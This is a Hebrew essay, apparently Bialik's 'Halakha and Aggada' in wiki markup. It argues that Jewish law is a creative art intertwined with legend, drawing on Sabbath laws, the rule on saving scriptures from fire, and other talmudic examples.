אחר צירוף, של דברי מיתוס, אגדה ומנהגים קדמונים – תורת חיים ותורת פה ולב – שהיו מתחלה כפורחים באויר כמה אלפי שנה (תתקע&quot;ד וכ&quot;ו דורות או אלפיים תֹהו, בלשון המסורה), עד שהגיעה שעתם להתגבש בדמות של חוקים חצובים באבן וכתובים בקלף? תורת הקרבנות, הטומאה והטהרה ומאכלות אסורות – יסודם במיתוס הכהנים; מצווֹת הזכרון – קשורות באגדות לאומיות היסטוריות; ושבין אדם לחברו – ברגשות הצדק והרחמים שבלב האומה, רגשות שהיו להם אנשי הסגולה לפה. ואולם גם משנכתבו עדיין לא נתאבנו, מפני שתורת הפה והלב לא בטלה באמת אף רגע אחד, ואוירה החי והמתנועע היה שף ומפעפע כל שעה בכתב להחיותו, להרחיבו או לצמצמו, ופעמים גם לבטלו, לשעה או לדורות, הכל לפי הצרכים או גם לפי הדעות והאמונות המתחדשים. לא רק &quot;משה כתב ויחזקאל בטל&quot;, אלא גם איזה &quot;דניאל חייטא&quot; לא חש מלפגוע פגיעה עזה מאוד ב&quot;לאו&quot; חמור שבתורה ומלצפות בלב לבטולו לעתיד לבוא&lt;ref&gt;מפני החריפות המיוחדת שבדבריו אביאם פה במלואם; הדברים כתובים במדרש רבה ויקרא ל&quot;ב ושנויים בקהלת רבה בפסוק &quot;ושבתי אני ואראה כל העשוקים&quot; – &quot;דניאל חייטא פתר האי קרא בממזרים: 'והנה דמעת העשוקים' - אבותם של אלו עוברי עבירה, ועלובים הללו מה איכפת להם? אבין של זה בא על הערוה והולידו – זה מה חטא?! 'ומדי עושקיהם כח' – מיד סנהדרי גדולה של ישראל שבאה עליהם מכוחה של תורה ומרחקתם. 'ואין להם מנחם' – אמר הקדוש ברוך הוא: עלי לנחמם, לפי שבעולם הזה הם פסולים, אבל לעתיד לבוא אמר זכריה: 'ראיתי והנה מנורת זהב כולה'.&lt;/ref&gt;. הפרוצסים של היתוך וגיבוש בהלכה ואגדה נראים בעליל בייחוד בעתים של &quot;מהפכות&quot; ומתן חוקים חדשים והם גלויים וידועים לכל. ההלכה הישנה שנפסלה יורדת אז שוב אל מצרף הלב ונתכת לאגדה – כיוצא בה או לאו כיוצא בה – וזו חוזרת משם כשהיא צרופה ובאה לדפוסי המחשבה והמעשה, מקום שהיא מתגבשת שם שוב להלכה, אבל בדמות מתוקנת או מחודשת. ההלכה היא אפוא מעשה יצירה לא פחות מן האגדה. אומנותה היא הגדולה שבעולם: אומנות החיים וארחות חיים. חמרה – האדם החי לכל יצרי לבבו; אמצעיה – החינוך האישי, החברתי והלאומי; ופריה – שלשלת ימים רצופים של חיים ומעשים נאים, פִלוּס אורח חיים בין מעקשים ועקלקלות של יחיד ורבים, הויה נאה של האדם בעולם, מהלך חיים מתוקן. יצירי כפיה של ההלכה אינם, כיצירי שאר האמנויות – פיסול, ציור, בניין, נגינה, שירה – מן המרוכזים והמאוחדים בחומר, במקום ובזמן, אלא מצטרפים הם קמעא קמעא, תגין תגין, מתוך כל שטף חיי האדם ומעשיו, שנותנים בסופם סך-הכל אחד, צורה אחת, אם שלמה אם פגומה. ההלכה היא אמנות-אומנת, אמנות-פדגוג של אומה שלמה, וכל פיתוחיה בנפש האומה, הגסים עם הדקים, נחתכים ברוח-הקודש ובחכמה עליונה, הצופה מראשית אחרית. יום יום, שעה שעה ורגע רגע שקוּדה היא לצור צורה רק אחת: דיוקנן של בריות, צלם אלהים באדם. ה&quot;דום&quot; הקולוני, ה&quot;דום&quot; המילאני, &quot;נוטרדם&quot; בפריז נשתכללו בהדרם והיו למה שהיו על-ידי תעצומות אמני עולם במשך כמה מאות שנה, שכל אחד מהם בזמנו נתן את חייו ומבחר כח יצירתו לעבודה הקדושה לו לבדו. ואין ספק, כי רק מהשתעבד כולם לרעיון מרכזי אחד, נעלה מאוד בעיניהם, הצליחה בידם במידה כזו &quot;מלאכת שמיים&quot;. אותו הרעיון – לבנות בית לאלהים – הוא שרחף לפני עיני כולם, בחינת &quot;כמראה אשר אתה מראה&quot;, והשרה עליהם רוח-הקודש, והוא שהיה מוליך ומביא את הסרגל והמקצוּעה ואת החרט והמכחול שבידם ומקריא באזנם כל תג וחקיקה וכל אריח ולבֵנה, שנצטרפו לבסוף, אחרי מאות שנים של עבודת בני-אדם מפורדים במקום ובזמן, לבניין אחד שגיא ונהדר. לבני-ישראל יש יצירה נהדרה שלו – יום קדוש ונעלה, &quot;שבת המלכה&quot;. בדמיון העם היתה לנפש חיה בעלת גוף ודמות הגוף, כלילת זוהר ויופי. היא השבת שהכניסה הקדוש ברוך הוא לעולמו בגמר מעשה בראשית, &quot;כדי שלא תהא החופה המצוירת והמכוירת חסרה כלה&quot;. היא שהיתה חמדה טובה להקדוש ברוך הוא בבית גנזיו ולא מצא לה בן-זוג נאה אלא ישראל. לפי אגדה עממית אחרת, יושבת היא כבת מלכה, &quot;ככלה בין רעותיה משובצה&quot;, ספונה בהיכל שבגן-עדן לפנים משבעה חדרים, ושש נערותיה, ששת ימי המעשה, משרתות לפניה. בכניסתה לעיר – הכל הופכים פניהם כלפי הפתח ומקבלים פניה בברכה: &quot;בואי כלה, בואי כלה, שבת המלכה!&quot; וחסידים יוצאים לקבלת פניה אל השדה. פעם אחת גם באה בחלום לאבן-עזרא, והיא עצובה ומרת נפש ושלחה בידו מכתב לבן-זוגה ישראל, הלא היא &quot;אגרת שבת&quot; הידועה. כל משוררי ישראל, מר' יהודה הלוי ועד היינה, שרו לה את שיריהם וזמירותיהם. האין היא יצירה כלילת אגדה? האין היא עצמה מקור חיים וקדושה לאומה שלמה ומעין נובע רוח הקודש למשוררים ופייטנים? ואף-על-פי-כן, מי יאמר, מי יכריע, יציר כפיה של מי היא, על ידי מי היתה למה שהיתה: על ידי ההלכה, או על ידי האגדה? קנ&quot;ז דפים יש במסכת שבת וק&quot;ה במסכת עירובין, והאגדה שבהן כמוה כאין. רובם עיונים ודקדוקי הלכות בל&quot;ט מלאכות ותולדותיהן וקביעת תחומין; במה מדליקין, במה בהמה יוצאה, כיצד משתתפין בתחומין – כמה יגיעת רוח! כמה בזבוז חריפות על כל קוץ וקוץ! וכשאני עובר בין אותם הדפים ורואה שם חבורות חבורות של תנאים ואמוראים בעבודתם, אני אומר: אכן, אמני חיים אני רואה לפני! אמני חיים בבית היוצר ועל האבניים! עבודת רוח כבירה כזאת, נמלית וענקית כאחת, עבודה לשמה ומתוך אהבה ואמונה בלי מצרים אי אפשר לה בלא רוח הקודש. כל אחד מן היחידים ההם עשה את שלו לפי צביונו ונטיית נפשו, וכולם יחד כפופים היו לרצון גבוה המושל בהם. אין זאת כי אם אידיאה נשגבה אחת, צורה אחת עליונה של שבת רחפה לפני עיני האנשים המפורדים האלה, ורוחה הוא שקבצם הנה מכל הדורות ועשאם שותפים ביצירתה ובשכלולה. כל &quot;מתקיף&quot;, כל &quot;וּרמינהו&quot;, כל סייג וכל גדר – אינו אלא תג ציורי חדש, פיתוח נוסף באותה הצורה, תג ופיתוח מוכרחים, מפני שבלעדיהם לא תהיה למה שצריכה להיות. ומה פרי כל העבודה הטרחנית הזאת של ההלכה? – יום שכולו אגדה. 

דוגמאות כאלה אינן מעטות. הרי יום הכיפורים, הרי פסח, הרי יתר המועדות. יסוד התפארת שבהם, ובמשמעה הנשגב, הוא ודאי. כולם יצירות נאות הן, מלאות תוכן חי ומחַיה וכוָנה רמה ומרוממת, אף על פי שכולם הם בני ההלכה החמורה, האכזרית, וכולם מוקפים סייגיה מכל צד. בשעה שישבו אמני אומות העולם בחדרי משכיותם וכוונו בהרגשה דקה ומעודנת מדות ושעורי הרמוניה למעשי שַיִש, למשל, להנות בהם חושי בני אדם, באותה שעה עצמה ישבו תלמידי חכמים מבני ישראל בבתי מדרשותיהם וכוונו אף הם ברוח הקודש ובהרגשה זכה מאוד מדות ושעורי הרמוניה נפשיים למעשה הצדקה, למשל, להנאות ולהיטיב בהם את האדם עצמו, &quot;לצרף את הבריות&quot;. איני מכריע למי היתרון, אבל סבור אני, שאלו ואלו דברי יצירה הם, אידיאות שנתממשו, רעיונות שיצאו מן הכח אל הפועל על ידי רוחו היוצר של האדם; באלו ובאלו יש מקום למידת התפארת להתגלות בכל זהרה, ואלו ואלו צריכים ל&quot;רוח הקודש&quot; ולרחמי שמים. ההבדל שביניהם אינו אלא בחומר ובאמצעים, כזה שישנו גם בין מקצוע אחד לחברו באמנויות המוסכמות, כגון בין ציור לנגינה. אכן יש ויש גם הבדל עיקרי: יצירות האמנויות המוסכמות, מפני שהן פונות אל האדם בתור פרט ומשום שהן מצומצמות ומאוחדות בחומר, במקום ובזמן, כאמור, לפיכך הן נסקרות בבת אחת, מיד ומקרוב; מה שאין כן יצירות ההלכה, המכוונות גם אל הכלל, וחלקיהן מתפשטים בחומר, במקום ובזמן, על פני שטח גדול, ולפיכך פרצוף שלם שלהן, העולה מתוך כל חלקיהן, אינו נתפס להכרה אלא אחרי העיון ומעל גובה גדול. אלו נבנה כרך גדול על פי אידיאה ציורית כבירה של אדריכל אמן, לא היינו מכירים בפרצופה השלם של אותה אידיאה ולא היינו תופסים את מכלול יפיה אלא מתוך הדפתרא או מראש מצפה גבוה, אבל בשום פנים לא מתוך הטיול בין בתי הרחובות, כשהפרטים חוצצים בפני היקף הכלל. &quot;מרוב העצים לא ירָאה היער&quot; הוא פתגם עתיק ומחוכם. אבל כלום בשלב זה תתמעט דמות היופי והשלמות של האידיאה? מי שירצה להתענג עליה נאמר לו: עלה להר!

{{עוגן|הדליקה}}יש בכל זאת שאפילו מפרט הלכי אחד מציץ עלינו לפרקים עולם מלא של אגדה הגנוזה בתוכו. באותה מסכת שבת ובתוספתא שם, למשל, מובלעת הלכה זו: &quot;כל כתבי הקודש מצילין אותם (בשבת) מפני הדליקה... היו כתובים תרגום ובכל לשון – גפטית, מדית, עילמית, יוונית – מצילין אותם מפני הדליקה. רבי יוסי אומר: אין מצילין אותם מפני הדליקה&quot;. 

פרט קטן של הלכה, מחלוקת של מה בכך – האין זאת? ואולם מי לא יכיר מיד, כי בהלכה קטנה ויבשה זו נתונה בצמצום מופלג, אבל במלוי האפשרי, תמונה ציורית שלמה על דבר היחס ההיסטורי והנפשי של מפלגות שונות באומה לשנים מראשי קנייניה: לספרותה וללשונה. מי לא יראה, כי מחלוקת זו שבמשנה היא היא &quot;ריב הלשונות&quot;, שהולך ונמשך בישראל מאז ועד היום. &quot;אל יהא לשון ארמי קל בעיניך, שהרי המקום חלק לו כבוד&quot;; &quot;אל ישאל אדם צרכיו בלשון ארמי, שאין מלאכי השרת נזקקין לו&quot;; &quot;בשעה שבא הקדוש ברוך הוא ליתן תורה לישראל דבר עמהם בלשון שהם יודעים ומבינים, בלשון מצרי&quot;; &quot;כה תאמר... אל בני ישראל – בלשון שאני אומר: בלשון הקודש&quot;; &quot;כשנגלה הקדוש ברוך הוא ליתן תורה לישראל, לא בלשון אחד נגלה, אלא בארבע לשונות: עברי, רומי, ערבי, ארמי&quot;; &quot;אותו היום שנתרגמה התורה יוונית היה קשה לישראל כיום שנעשה העגל, ובארץ ישראל היו אז שלושה ימים חושך&quot; ו&quot;כשנתרגמו הנביאים על ידי יונתן בן עוזיאל ארמית נזדעזעה ארץ ישראל תי&quot;ו פרסה על תי&quot;ו פרסא&quot; – מאמרים אלה, והרבה כמוהם, שמשמשים בת-קול ללב האומה שנחלק, הם הצורה האגדית של הפרובלימה הלשונית, והמשנה הקצרה שלמעלה, השנויה אף היא במחלוקת, היא סופה המוכרח של אותה האגדה במטבע הלכית, סך הכל מעשי קצר בצורה של החלטה ועמידה על הדעת. שם &quot;ליריקה&quot; שוטפת, רופפת ומתרגשת, וכאן – &quot;אֶפִּיקָה&quot; שלֵוה, מסמר קבוע. בחכמה רבה נבחר כאן המומנט של דליקה, שעת טירוף וסכנה, שאין אדם עשוי להתבונן, אלא נשמע לפקודת לבו וקופץ להציל את היקר לו ביותר. הדליקה אינה איפוא אלא משל (דברו חכמים בהווה), והוא הדין לשטף, לגירוש ולכל מיני סכנה. 

וכך, מתוך הפרט הקטן הזה יתגלה פתאום לפני המתבונן כלל גדול היסטורי, הוראה לאומה שלמה טרופה ודחופה בגולה, שלהציל את כל סגולותיה אינה יכולה ולהפקיר הכל אינה רוצה – מה ואיך תעשה ביום צרה וסכנה? בעל המשנה ודאי לא דבר במשל ומליצה. לא נתכוון זה אלא לקבוע הלכה למעשה פשוטה כמשמעה, ולכל היותר – לטבוע בנידון שלפניו מטבע קיים לרצונו או גם למנהגו הקדום של העם, כפי שנתגלו עד עכשיו, זה בצורת אגדה וזה בצורת מעשה של רשות. כמו כן, כל אותם אלפי היחידים מכל הזמנים, שמסרו נפשם בשעת סכנה להציל מן הכליון מה שהצילו, אם כדברי התנא קמא ואם כדעת רבי יוסי, לא נתכוונו אף הם אלא לקיים את הדין כפשוטו. ומה בכך? מדעת ושלא מדעת הרי הם כולם עשו שליחותו של שר האומה, ואם אנו עומדים עתה לפני אוצרנו הדל ומלחשים ביגון: &quot;אין לנו שיור רק התורה הזאת&quot;, הרי אנו ולבנו יודעים, שגם השיור המועט הזה לא ניצל אלא בזכות כל אותם היחידים שקיימו כל אחד בזמנו ובמקומו את מצות לבם''' כהלכה'''. 

התבוננות נפשית כזו באותה הלכה כבר דיה לגאול אותה במקצת מקליפתה ולהעלותה למדרגת סימבול. ואולם הלב העֵר איננו מסתפק בכך, אלא הוא הולך ומעביר לפני עיני רוחנו, בקשר עם אותה ההלכה ומענינה, מחזה אחר מחזה:

אנו רואים, למשל, ביחד עם רינן, את הכהן הלוי הקדמוני ברדתו עם הגולה בבלה והוא מתנהל לאטו בצד חמורו הטעון מגלות מגלות של דברי נביאים; הוא הציל כתבי הקודש מפני הדליקה.

אנו רואים שוב, והנה רבן יוחנן בן זכאי עומד לפני אספסיָנוס אחורי שערי ירושלים ומתחנן: &quot;תן לי את יבנה וחכמיה ושלשלת של רבן גמליאל&quot;. גם זה הציל שרידי קודש מפני הדליקה.

ושוב אנו רואים: ישיש בן שמונים, רבי יהודה בן בבא, יושב בין שני הרים גדולים, בין אושא לשפרעם, וסומך שם, תחת חצי האויבים, חמשה זקנים ואומר להם: &quot;בני, רוצו!&quot; והוא נשאר מוטל לפני האויבים &quot;כאבן שאין לה הופכין&quot; ובעוד רגע הוא נעשה ככברה.

ושוב: בית מדרשם של רבי יהודה הנשיא ותלמידיו הולך וסוער; הידיים מלאות עבודה: מכַנסים הלכות, מבררים שמועות, גובים &quot;עדיות&quot;, מסדרים, מגיהים, רושמים – הם מעלים על ספר את התורה שבעל-פה! יודעים הם ש&quot;מהפכה&quot; הם עושים במסורת ישראל – דברים שבעל-פה אי אתה רשאי לכתבם – אבל &quot;עת לעשות לה' הפרו תורתך&quot;: הלבבות מתמעטים, הפזור מתרבה והשכחה מתגברת; צריכים להציל מה שאפשר.

ושוב: ארבעת השבויים מביאים את התלמוד לספרד... מלאכתו הכבירה של הרמב&quot;ם... משפחת מעתיקים, בני תיבון, בהולים לתרגם ספרים יקרים, בעלי ערך לאומי גדול, מלשון נכריה ללשון הקודש...

ושוב: חבורות-חבורות של יהודים, פליטי חרב ופרעות, דור אחר דור, דור אחר דור, מושכים והולכים בדרכים וספרי תורה חבוקים בזרועותיהם. כמה וכמה יחידים, יהודים סתם, שמשים, חייטים, סנדלרים, מתים לפני ארונות הקודש בהגינם על הקדוש להם; כמה וכמה צנועים ואנשי מעשה, צדיקים נסתרים, &quot;עורכי גלות&quot; מרצון, נודדים ממקום למקום במקלם ותרמילם וכל אחד ספר קדוש וחביב לו בתיק טלית ותפילין שלו. 

ועוד, ועוד, ועוד... בכל המחזות האלה שונים כמובן גם הפועלים, גם החומר של הקדושה וגם האמצעים של ההצלה, אבל אחד הוא התוכן הפנימי, הנפשי שבכולם: הצלת קניין לאומי חשוב ביותר מפני הכליון, בהתאם לנטיַת לבו ולהשקפתו של המציל. הלכה כמי? אם כזה שאומר: &quot;בלשון הקודש בלבד&quot;, ואם כזה שאומר: &quot;בתרגום ובכל לשון&quot;? – תשובה על זה עלינו לבקש מפי ההיסטוריה והחיים, ואולי נמצא, שגם הם, כאותה משנה, הניחו את הדבר במחלוקת. לנו אין בזה לפי שעה נפקא-מינה לדינא. לנו חשוב רק להראות, עד כמה יש בכחה של הלכה קטנה ויבשה להתרומם לפעמים עד למדרגת סימבול, כשהחומר הנוקשה שלה נופל לתוך כור ההרגשה החיה והוא חוזר וניתך שם לאגדה. ומובטחני, שגם האגדה הלשונית שבימינו עתידה, אם נזכה לכך, להצטמצם צמצום אחר צמצום ולהעשות בסופה אף היא הלכה חדשה, שבהסכם לדעות ולצרכים בזמנה תהא מנוסחת בסגנון קצר ויבש מעין זה: 

&quot;אין מלמדין אלא בעברית, דברי חכמים. פלוני אומר: בעברית ובתרגום ובכל לשון. אלמוני אומר: דברים שביהדות – בעברית, ושאינם יהדות – בכל לשון. אמר ר' פלמוני: אין מלמדין אלא ביהודית בלבד&quot; – והמפרש שלעתיד לבוא יפרש: &quot;ביהודית – כלומר, עברי-טייט&quot;ש, שדיברו בה היהודים במקומו ובזמנו של ר' פלמוני, ואין זו יהודית שבמקרא, שהיא עברית; דאם כן, מה בין ר' פלמוני לתנא קמא?&quot; 

הלכה זו שלמעלה, המובאת לדוגמא, אינה יוצאת מן הכלל, כמוה חבילי חבילות. ובכלל תמיהני אם יש הלכה, שלא תהא לה אחיזה מרובה או מועטת בעולם האצילות, יניקה מאידיאה עליונה: אישית, חברתית או לאומית. סוף-סוף הרי ההלכה אינה אלא אחת מן הצורות שמתלבש בה רוחו היוצר של האדם – ומי יודע דרך הרוח? &quot;לא יצא האיש (בשבת) לא בסיף ולא בקשת ולא בתריס ולא באלה ולא ברומח... רבי אליעזר אומר: תכשיטין הם לו&lt;ref&gt;כענין שנאמר: &quot;חגור חרבך על ירך גבור הודך והדרך&quot; (תהלים מ&quot;ה, ד').&lt;/ref&gt; (ומותר לצאת בהם); וחכמים אומרים: אינן לו אלא לגנאי, שנאמר: וכתתו חרבותם לאתים וחניתותיהם למזמרות, לא ישא גוי אל גוי חרב ולא ילמדו עוד מלחמה&quot; – הרי לכם מושגי יופי וכיעור במלבושים – ומתוך מה? מתוך דברי נעים הזמירות וגדול החוזים; ולעניין מה? לעניין טלטול בשבת. כל דקדוקי מסכת ברכות אינם אלא כלים ולבושים לדעה נשגבה של &quot;לה' הארץ ומלואה&quot; ולרגש ההתפעלות התמידית, החדשה בכל יום, מפני הדר הטבע וחליפותיו. &quot;רשע בחייו חשוב כמת, מפני שרואה חמה זורחת ואינו מברך 'יוצר אור', שוקעת ואינו מברך 'מעריב ערבים', אוכל ושותה ואינו מברך; אבל הצדיקים מברכים על כל דבר ודבר שאוכלים ושותים ושרואים וששומעים&quot; (תנחומא, וזאת הברכה). &quot;על בריות נאות ואילנות נאים מברכין: 'ברוך שככה לו בעולמו'&quot;; ו&quot;מעשה ברבן שמעון בן גמליאל, נשיא ישראל, שהיה עומד על גבי מעלה בהר הבית, וראה נכרית נאה ביותר, ואמר – בתורת ברכה -: 'מה רבו מעשיך ה'!&quot; ו&quot;האומר: כמה נאה פת זו, ברוך שבראה; כמה נאות תאנים הללו, ברוך שבראן – זוהי ברכתן&quot; (תוספתא ברכות). כמה עֵרוּת הלב והחושים! ואותה ההלכה הקשה והאכזרית שאסרה את האבלות בשבת, ולנחם אבלים התירה רק בקושי – היא שאמרה בהרגשה עדינה: &quot;הבוכה בשבת להקל צערו – זהו עונג שבת שלו&quot; (רבי עקיבא בבריתא). 

לא. ההלכה אינה בשום פנים שלילת הרגש, אלא '''כיבושו'''; לא בטול מידת הרחמים במידת הדין יש בה, אלא צירוף שתיהן כאחת. אכזריותה – היא זו של כח יוצר ומקיים, בחינת גבורה שבחסד, שהיא מידת ה&quot;תפארת&quot;. וכך יפה לה בהתאם לתכונתה המעשית. וכי יש לך גזר דין קשה ממיתת בית דין, ואף על פי כן &quot;כי קללת אלהים תלוי&quot;, דמות איקונין של מלך, צלם אלהים, תלוי. ו&quot;בזמן שאדם מצטער שכינה מה לשון אומרת: קלני מראשי! קלני מזרועי!&quot; השכינה, כביכול, חבלה בעצמה וקובלת על עצמה. יש רחמים, ויש רחמים גבוהים עליהם, רחמי אב, שצופים בעין שלמעלה וכובשים את עצמם לשעתם בשביל העתיד, ואלו ואלו רחמי אלהים חיים. שאל תינוק ויגדך: &quot;ה' ה' אל רחום וחנון&quot;, ואף על פי כן: &quot;האומר בתפלתו: על קן ציפור יגיעו רחמיך, משתקין אותו&quot;, שעושה מידותיו של הקדוש ברוך הוא רחמים והן אינן אלא גזרות, רחמים למעלה מרחמים, צפיה לעתיד. הרי לא לחנם הביאה האומה הישראלית, על כל פנים ברובה הגדולה, את צוארה בעול הברזל של ההלכה; ולא עוד, אלא שבצאתה לנדודיה בחרה לקחת עמה לדרך משא כבד של חוקים והלכות &quot;ועזבה מפניהם – כמאמר שד&quot;ל – את השירים המשמחים לב ונפש&quot;. המראה הזה הביא את שד&quot;ל בשעתו לידי התפעלות, עד שקרא: &quot;כמה קדושה אומה זו!&quot; ובעל ההלכה עצמו מהו אומר: &quot;המהלך בדרך ושונה ומפסיק ממשנתו ואומר: 'מה נאה אילן זה, מה נאה ניר זה!' מעלה עליו הכתוב כאילו מתחייב בנפשו&quot;. בעלי היופי שבנו כלו את כל חציהם במשנה עלובה זו, ואולם בעלי הנפש יאזינו גם מתוכה, מבין השיטין, המיית לב וחרדת דאגה לגורלו העתיד של עם &quot;הולך בדרך&quot; ואין בידו משלו אלא ספר, ושכל התקשרות נפשית לאחת מארצות מגוריו בנפשו הוא&lt;ref&gt;שמעתי מפי &quot;אחד-העם&quot;.&lt;/ref&gt;. 

לא כל ההלכות, כמובן, שוות, ולא ערך חיוני אחד לכולן. יש הלכה עקרה שאין לה אלא קרן; ויש שעושה פירות ופירי-פירות. יש דומה לכלי ריקן מוחלט, שמתפנה לקרן זוית עד שתגיע שעתו; ויש דומה לכלי שעשוי להתרוקן ולהתמלאות כל שעה תוכן חדש בלי הפסק בינתיים. יש גם הלכות שהן כארונות למתים חנוטים, ולהן יאָמר בלשון המסורת: &quot;חוקים&quot;, כלומר, דברים נעלמי טעם וסתומי כוונה. פרקי איברים של דברי מיתוס ואגדה עתיקים מאוד נגנזו בהם גניזה עולמית ורשומיהם המאובנים עדיין קיימים, להתמיה את הבריות ולגרות יצרם של דורשי רשומות מני קדם. בעל הנפש אמנם ינהג כבוד גם באלה. מִפְלָש אפל נקוב בהרים מקצר עלינו פעמים דרך כמה פרסאות ומביאנו פתאום אל תחת שמים חדשים – ושריד עתיק סתום ואפל, כשאנו חודרים לתוכו ו&quot;מדובבים שפתיו&quot;, יש שהוא מעתיקנו פתאום, בקפיצת הדרך, אל מעבר לאלף דור. כך הבגד של העברי, למשל, במצוותיו התלויות בו, הרי הוא – כמו שהפליא לרמז על זה במקצת מדרש קדמון – הגשמתה המלאה והחושית של... של מה, כסבורים אתם? – של אגדת קין והבל&lt;ref&gt;איסור שעטנז, צמר ופשתים יחדיו – רמז לאיבה ולפירוד (&quot;והיה כל מוצאי יהרגני&quot;) שבין השבטים רועי הצאן, לובשי הצמר, ובין עובדי האדמה, לובשי הפשתים; וסמוך לאיסור שעטנז – &quot;גדילים תעשה לך&quot;, המותרים בצמר ופשתים כקבלת חכמינו ז&quot;ל – שאולי אף הם בעניבותיהם וקשריהם – אותו זכרון, מעין אותיות כתב, להרבה שבטים קדמונים – אינם אלא סימנים חיצונים עשויים בבגד, לאות ברית שלום בין אותם השבטים בעלי הריב, לאחר שנתרופפה האיבה ביניהם והתחילו להתקרב וגם להתערב זה בזה (&quot;ויעש יהוה לקין אות לבלתי הכות אותו כל מוצאו&quot;). העברים הקדמונים, שהם בני תערובת שבטים רועי צאן – דוגמא להם: בית אברהם ובית יעקב, ושבטים אחוזים בארץ – בית יצחק – שמרו בבגדם שרידי מנהגים של שתי תקופות שונות כאחד, והמחוקק בספר דברים אף הוא כתבם זה בצד זה בהעלמת טעמם, אם מפני שזה נשתקע בימיו וכוחו החיוני פסק, ואם מפני שלא להבליט את הניגוד הפנימי שבין הלאו לבין העשה. הטעם האמור בציצית בפרשה '''מאוחרת''' (במדבר) הוא בלי ספק טעם נוסף כ&quot;זכר ליציאת מצרים&quot; שבמועדות. &lt;/ref&gt;. כיוצא בזה, האיסור של בישול גדי בחלב אמו&lt;ref&gt;שבא שתי פעמים בשני מקורותיו העתיקים ביותר – בפרשת משפטים, ובלוחות שניים – בפסוק אחד עם חג הקציר. &lt;/ref&gt; - יסוד ושורש לו בסדרי קרבנות עתיקים של חג השבועות בזמן הקדמון, בזמן שלא היה עוד &quot;חג מתן תורתנו&quot;, אלא חג הקציר סתם, ואנשי האדמה, השמחים בקצירם, ערכו לגד ולעשתֹרת – אלהי המזל והשפע – שולחן: זבח גדי – סמל ברכה ופריה ורביה&lt;ref&gt;זכרו גדיי העזים בברכת יצחק; גדי העזים של יהודה ותמר; &quot;ויפקוד את אשתו בגדי עזים&quot; של שמשון. שמעתי זאת מפי &quot;הסבא&quot; מנדלי&lt;/ref&gt; - מבושל בחלב אמו. ומה נפלא הדבר, שעד היום קיים מנהג בישראל – מנהג שנתחבטו בו כל דורשי טעמים – לאכול בשבועות סעודת חלב, סמוכה קצת, שלא כרגיל, לבשר, והמהדרים אוכלים בשר מבושל בחלב שקדים (שולחן ערוך, בית יוסף). הפתעות כאלה מזומנות במספר לא מעט למטפלים בדברים הללו. אנו רואים, עד כמה אפילו חוקים רוּדימֶנטיים כאלה מעורים הם, כעוּבר במעי אמו, בכל הסימבוליקא המיתולוגית, האגדית וההוָאית של האומה. ואולם ביחד עם אלה הרי יש כמה הלכות גדולות שהן הן כגופי חייה ממש של האומה בעבר, ולֵחן לא נס עד היום, ולהכשרן החיוני בעתיד אין קץ. אם &quot;כלי החיים&quot; האלה מונחים לפי-שעה בקרן זוית – אין מזה ראיה עוד על רעיעותם. כלל גדול הוא: כל צורת חיים בשעת יצירתה, כלומר, כשהיא עדיין &quot;במחובר&quot; – היא עצמה משמשת '''תוכן''' לרוח יוצרה; משנגמרה יצירתה ויצאה לרשות הרבים, כלומר, &quot;משנתלשה&quot; – מיד היא יורדת לתורת כלי ושוב אין לה משלה כלום, אלא כל אדם מוצא בה מה שהוא עצמו מניח וחוזר ומניח בה כל רגע שהוא ממשמש בה. הכל בא לה מן האדם ורוח האדם, שזוכה בה מן ההפקר. הניח בתוכה זהב – מוצא זהב; עפר – עפר. אין לו מה להניח – רשות בידו להניחה ריקנית עד שתעלה חלודה, אבל אל יאמר איש כזה: הכלי רעוע, השליכוהו לאשפה, אלא יאמר:''' אני''' עני! 

 
היש צורך עוד ליחד את הדיבור על ההלכה והאגדה, על זיקת הגומלין שביניהן, בתור שני גופי – או סגנוני – ספרות, מיוחדים, אבל גם צריכים זה לזה?

הדברים שלמעלה, האמורים בהלכה ואגדה מצד עצם מהותן, בתור שני גופי – או סגנוני – חיים מיוחדים, היו מספיקים, כמדומה גם לעניין זה; שהרי הספרות מה היא, אם לא &quot;חיים שבכתב&quot;? ואולם מפני שבין &quot;בעלי האגדה&quot; בימינו יש נטיה לתת לספרות &quot;אבטונומיה&quot; – כלומר, &quot;אמנות לשמה&quot;, ויש שמעמידים אותה &quot;למעלה מן החיים&quot;, כלומר מחוץ להם, לפיכך, בנוגע '''לאלה''', אין בטחון כלל, שהדברים שלמעלה יהא בהם כדי הוכחה. אדרבה, יש מקום לבטחון מהופך: בין שיודו במקצת הדברים ובין לא, ברי הוא, כי מי שיבוא ויאמר להם, שההלכה הכתובה יכולה עדיין אף היא לשמש בסיס לחלק חשוב מן הספרות החיה כאחותה האגדה – יסכן בעצמו להחשב בעיניהם כאיש שלא טעם טעם &quot;יופי&quot; מימיו, או כליטאי הנלהב הלז, שמזמר בשמחת-תורה – &quot;שור שנגח את הפרה&quot;. הלכה – וספרות, אתמהה? היש שני הפכים גדולים מאלה? מי נער בימינו ולא ידע כי סתם ספרות אינה אלא אגדה, אגדה לכל משמעותיה ובלי הבדל זמנים: מן הספורים והחזיונות והמליצות שבמקרא ועד הספרות היפה שבימינו; אבל ההלכה – כלום טעם וריח יש בה, כלום לחלוחית חיים יש בה, כלום יופי יש בה?

הטענות מצד בעלי האגדה כנגד ההלכה אינן אמנם חדשות ביותר, ו&quot;כבר היו לעולמים&quot;. עוד בעלי התלמוד יודעים לספר בענין זה כמה מעשיות ומשלים; אלא שהם באו לידי מסקנא, שההלכה היא &quot;עשתות של זהב&quot; והאגדה &quot;פרוטות קטנות&quot;, ובעלי האגדה שלנו סבורים, שההלכה אינה בגדר ספרות כלל, ולא מן השם היא. הצדקו במשפטם? הבאמת ההלכה, ההלכה כולה, בלי חוץ, היא כאילן סרק לגבי ספרות? 

כמדומה שגם פסק-דין קשה זה בא מתוך חלוף צורה בחומר ומקרה בעצם. ספרי ההלכה היסודיים – המשנה והברייתות – כפי שיחייב טבע ענינם ומטרתם, צורת קובצי דינים וספרי הוראה להם, והיא שגרמה, לפי הנראה, להוציאם מסוג הספרות כמשמעו בימינו.

ואולם כך ישפטו רק &quot;הרואים לעיניים&quot;. אלו היו אותם הספרים כוללים רק כללי הגיון ויסודות משפטיים בדרך הפשטה בלבד – היה הדין עם הטוענים; אבל מי לא יודע, כי בהלכה העברית אין כמעט מקום למופשטות, וכמעט כולה ציורית ומוחשית. 

שנים אוחזין בטלית, הקדר שהכניס קדרותיו, המניח את הכד – זהו הסגנון התדירי של ההלכה העברית. כמעט כולה, מראשה ועד סופה, מנומרת ציורים ציורים, קטנים וגדולים, של החיים העבריים הממשיים במשך אלף שנה ויותר. 

